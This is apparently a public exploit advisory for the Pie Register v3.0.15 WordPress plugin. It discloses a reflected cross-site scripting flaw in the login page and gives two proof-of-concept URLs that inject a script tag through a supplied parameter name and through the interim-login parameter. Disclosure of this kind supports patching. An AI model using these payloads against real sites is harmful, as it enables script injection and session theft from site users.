===================================================================================== Pie Register v3.0.15 (WordPress Plugin) - Cross-Site Scripting Vulnerability in Login ===================================================================================== ____________________________________________________________________________________ # Exploit Title: Pie Register v3.0.15 (WordPress Plugin) - Cross-Site Scripting Vulnerability in Login # Date: [10-03-2018] # Category: Webapps ____________________________________________________________________________________ # Author: Socket_0x03 (Alvaro J. Gene) # Email: Socket_0x03 (at) teraexe (dot) com # Website: www.teraexe.com ____________________________________________________________________________________ # Software Link: https://wordpress.org/plugins/pie-register # Plugin: Pie Register # Version: v3.0.15 (last version) # File: login # Parameters: interim-login, wp-lang, and supplied URL. # Language: This application is available in English language. # Plugin Description: Pie Register is a Word Press plugin that an administrator can use to create different kinds of forms without programming knowledge. In addition, an administrator can use Pie Register for payment features; for example, if an administrator is using Pie Register to provide some kind of service, he/she can charge an amount to his/her users via PayPal. ____________________________________________________________________________________ # Cross-Site Scripting Vulnerability: Name of an arbitrarily supplied URL parameter: http://www.website.com/wordpress/index.php/login/?frfqq"><script>alert(23)</script>rwhn7=1 Parameters interim-login and wp-lang: http://www.website.com/wordpress/index.php/login/?redirect_to=http%3A%2F%2Fwww.website.com%2Fwordpress%2Findex.php%2F2018%2F09%2F27%2Fhello-world%2F&interim-login=zuhke"><script>alert(23)</script>v1ig9&wp_lang=en_US